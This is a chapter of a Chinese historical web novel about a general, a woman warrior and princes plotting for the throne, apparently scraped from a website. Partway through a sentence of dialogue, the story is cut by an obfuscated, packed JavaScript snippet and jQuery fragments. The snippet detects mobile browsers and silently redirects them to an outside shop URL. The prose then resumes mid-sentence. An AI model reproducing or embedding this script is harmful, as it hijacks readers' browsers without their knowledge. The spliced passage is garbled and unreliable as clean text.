38.马上请红缨

作品:《玉菩提

    自打张郢简领了将军衔东征西走,这小城便鲜少踏足。从前那位太守尚能照面叙话,如今眼前这位新任太守,倒是头一回相见。


    谁知初逢乍见,对方便说出这般云遮雾绕的话来,叫他心底蓦地升起三分戒备。


    “听此话,看来朱太守久居远西之地,对这朝堂风云……”张郢简斜倚着黑漆审案木桌,信手拈起笔海里一支狼毫,眼风却敏锐地掠过躬身微抬的朱伯功,声调疏淡,“倒是颇为关切。莫非心中另有丘壑?”


    “将军大人,属下虽位卑,可经年甚多。若杀鼠可牟利,则鼠患永无绝日——用兵之道,亦是如此。”朱伯功信誓旦旦的仰其嘴角,三分恣意,七分坚定,“如今除了将军心归朝廷,天下六王大乱依旧,天子病危,将军最应当留意的,边疆烽火只居其二。”


    张郢简滞住身子,手中的毛笔啪嗒一声掉回笔海。


    “依朱太守看,居其一者,是为何事呢?”


    “外患虽凶,尚有将军这等柱石可抵;若内里溃烂,王朝倾覆便在朝夕。大胤不缺武将,缺的是忠贞文胆。”朱伯功举起手臂示意二人随其进入后院客间,“将军最该防备的……非是旁人,正是新晋宰执司马炆。”


    “朱大人此话怎讲?”张郢简落座。


    “将军既出了中都,谁人持权最重?”


    “太守你的意思是,司马炆意欲谋反?”张郢简刚问完,便被自己的疑问逗得嗤笑一声,“司马大人岂会行此逆举?莫非人人皆如胡敦?”


    朱伯功轻笑:“司司马炆既居宰执,焉能无青云之志?位极人臣者怎可能不觊觎更大的权力?”


    聂知韫听了他的两连问,脑子乍一下想起当时张郢简的戏言:“保不齐哪天,那龙椅也该轮到我坐坐。”


    “今时不同往日。内有三位皇子夺嫡,外有六王裂土——此番是真真要争那九五之位了。若换作下官,绝不会在此时篡位。”朱伯功奉茶一盏,“将军虽为外姓王,终究是亲王之尊。中都也好,诸王也罢,皆盼着将军陨落……万勿中了算计。”


    渐入夜,聂知韫随张郢简返回军营。


    她知自己虽侥幸逃过一劫,终究心有余悸。那般彻骨之痛,此生不愿再尝。


    一朝被蛇咬,十年怕井绳。


    樾王杨隆吉屡犯天夷在内的边城,可一个月下来,主动进攻的频次一个手都数的过来,倒是张郢简时不时指兵西去,打他们个措手不及,三十日内连夺五城,聂知韫也算是亲眼目睹一番这恶佛陀的威严。


    不过,是张郢简的到来真的唬住了樾王杨隆吉,还是说他们正谋划着更深一步的阴谋,连张郢简亦未参透,只得见招拆招。聂知韫自然更难分明。


    这月余间,她亦未闲着。终日执“桃花明月青”挥斩练式,本就有些武学根基,又得张郢简亲手点拨,身手突飞猛进。虽未必能统帅三军,斩将破敌已游刃有余。


    中都那头,皇上龙体渐衰,能撑至今日已属不易。几位皇子怕早已斗得暗无天日。


    在外愈久,于张郢简愈是不利。


    聂知韫多少猜到几分——他亦陷在这储君棋局之中。见他终日凝眉,终于在一个雨雾蒙蒙的日子,向他请命随军出征。


    忆起初次西征,她红衣银甲策马临敌时,张郢简实实捏了把冷汗。


    看着黑云压境,聂知韫能听得见自己的心隆隆作响,得亏明月青在手,张郢简在侧,顺着朔光望向他的脸庞,虽从他的眼神里看到一丝谨慎,一丝忐忑,可还是紧咬着牙等着张郢简的回应。


    终于,张郢简也是狠下心使劲点了点头,聂知韫拔剑向天一指,黑压压的铁骑如潮涌出,汇成一片寒光凛冽的海。


    聂知韫的身手也确实了得,在张郢简的策应之下也是风姿绰婉,挥刀间的精湛让张郢简有些惊诧,那种不羁又略带雄豪的一面带着寒光直叫敌人畏缩。


    生于苍北,反令她对疆樾苦寒适应得快。


    “杨隆吉那边都在传,咱们军中凭空出了位女将军——连主帅都要围着她转呢。”段天功朝火盆掷入新柴,溅起的火星子被聂知韫轻扇避开。她面上一派淡静,心底却绽开无声的欢欣。


    从前因一曲戏文名动四方,昔年那个小韫儿何曾想过,十数年后自己竟真成了令敌军色变的女将。


    正如她亲口所说的那样,不敷红粉舞银刀,婀娜殷血衬锦袍。


    疆樾,后慎。


    先皇杨崇完霸业于龙变,降御座于金銮,抚民情,刺贪吏,平内乱,统书文,安天下之心,休黎民之息,西北荒蛮渐渐平和,招降收归诸蛮,合北巫、大朔、胡肃为疆樾,归于大胤统辖。


    后慎是疆樾一带最为繁荣的地方,同时也是樾王杨隆吉的乌阳府所在之地。


    府中,杨隆吉站在游廊里,弓腰凑近几个小丫环送来的香炉鼻息一番,抬着眉毛缓缓睁开眼睛,使劲呼出一团热气,化成浓浓白雾从嘴里窜出。


    “疆樾虽然不及苍北霜寒,可下雪永远都是最早的。一旦雪封山河,生在云樑的张郢简可就没办法这么猖狂了。”杨隆吉摘下大拇指上的红碧玺纸戒托在手心上把玩着,用一抹轻佻的眼光从小丫鬟的腰肢上落到身后的男人身上,“本王安插在宫里的眼线前些日子递来一封书信,司马炆现在开始革除乱党了。”


    只见他面糙色黄,手宽腰粗,气息浊重,满是狂风与黄沙刮过的痕迹,此人乃杨隆吉东征大胤的得力干将当于让。


    “王爷运筹帷幄之中,不过天夷那边也传来个消息。”当于让悄悄瞄了瞄杨隆吉的脸色,小心翼翼道,“属下手底下的人都在传,说是张郢简那里,突然出来个女人,那女子身姿矫健,不似什么寻常女流。”


    “本王自然知晓,区区女子能有什么好怕的?倒听说她姿容绝世,银甲着身更显艳色。”杨隆吉略一迟疑,轻笑一声扭头进了屋里,淡淡“欸”了一声叫住施完礼正准备离开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931373|183215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的小丫鬟,小丫鬟顺着他漫不经心的尾音定定的站在门口,续对当于让道,“张郢简与我等交锋多次,从未占得便宜。此番不同——外有本王与卞王合围,内则他自身已生软肋。自古英雄,多败于美人关前。”


    “看来这场仗,王爷是已经胜券在握了?”


    “他若进击,我便让城。看似他攻我守,实则诱入死局。此番不仅要张郢简的命……”杨隆吉仰首饮尽茶汤,蓦地将杯盏砸碎在地。碎瓷声惊得门边丫鬟一颤,他侧目瞥去,嘴角微勾,“更要夺回本属我的龙椅。宫里那几个小儿……莫怪舅舅无情了。”


    他慢条斯理道:“司马炆许诺,若杀张郢简,便开城门迎我回宫。可他岂知,自己早已是我掌中棋子。待张郢简一死,下一个便是他。”目光扫向当于让,“待战后,那女将军便赏你。今夜……先让这丫头伺候罢。”


    “且慢。”杨隆吉踏出门槛又驻足回眸,视线掠过神情凄惶的小丫鬟,落向当于让深意暗藏的脸,“还有陈嫪——他已下狱,派人捞他出来。”


    中都。


    司马炆于政事堂闭目养神。齐成章步履轻缓而入,跫音落在地板上,引得他懒懒睁眼:“疆樾王那边如何了?”


    “大人,那樾王果真如您所说,并没有按照您的指示,而是主动退让,引羊入虎口,然后联合起来西南边的湘王想要一举打下张郢简。”


    “越到关键的时候,人就越不会关注别人,现在储君未立,我和樾王虽明面上联合,可终归貌合神离,自己心里头都打着自己的算盘。”司马炆挪挪身子侧靠在木塌上,棂窗外头黑漆漆的云盖着月亮,也让他挤满皱纹的脸阴沉沉的,“杨隆吉的野心不在于杀掉张郢简,而在于那龙位。最是无情帝王家,自古以来皆是如此,若真让他夺得这天下独尊之位,我们逃不了,杨家人也逃不了。”


    人性的勾心斗角,就连魑魅魍魉也要惧怕三分。


    齐成章一个掌印太监,满脑子也只有些权力之争,再深一点的博弈他听不懂,也听不进去:“那大人接下来有什么想法么?”


    “原本我还思虑万千,看如今这情况,倒也不用我刻意插手。我们只需要静观其变,让杨家这几兄弟和张郢简好好打几场仗,削弱一下他们的实力,将来的天下我才能揽的放心。不过依我看来,杨隆吉斗不过张郢简。等到张郢简杀到杨隆吉的头上,我们就。。。”


    “联张郢简杀杨隆吉?或是……除张郢简?”


    “齐成章,你这样想可就太天真了。。。他们好好打一架耗一耗气数,于我有和坏处呢?”司马炆抬头静默良久,很快又从嘴角扯出一丝耐人寻味的苦笑,“且看我如何收了这残局,如何稳坐这江山之主,又如何去拆了这对苦命鸳鸯。”司马炆招招手示意齐成章将沏好的茶端到高几上,“也就这几日,张郢简和杨隆吉,定然有一个人会先坐不住的。”


    说罢,便又挥了挥手示意齐成章可以离开。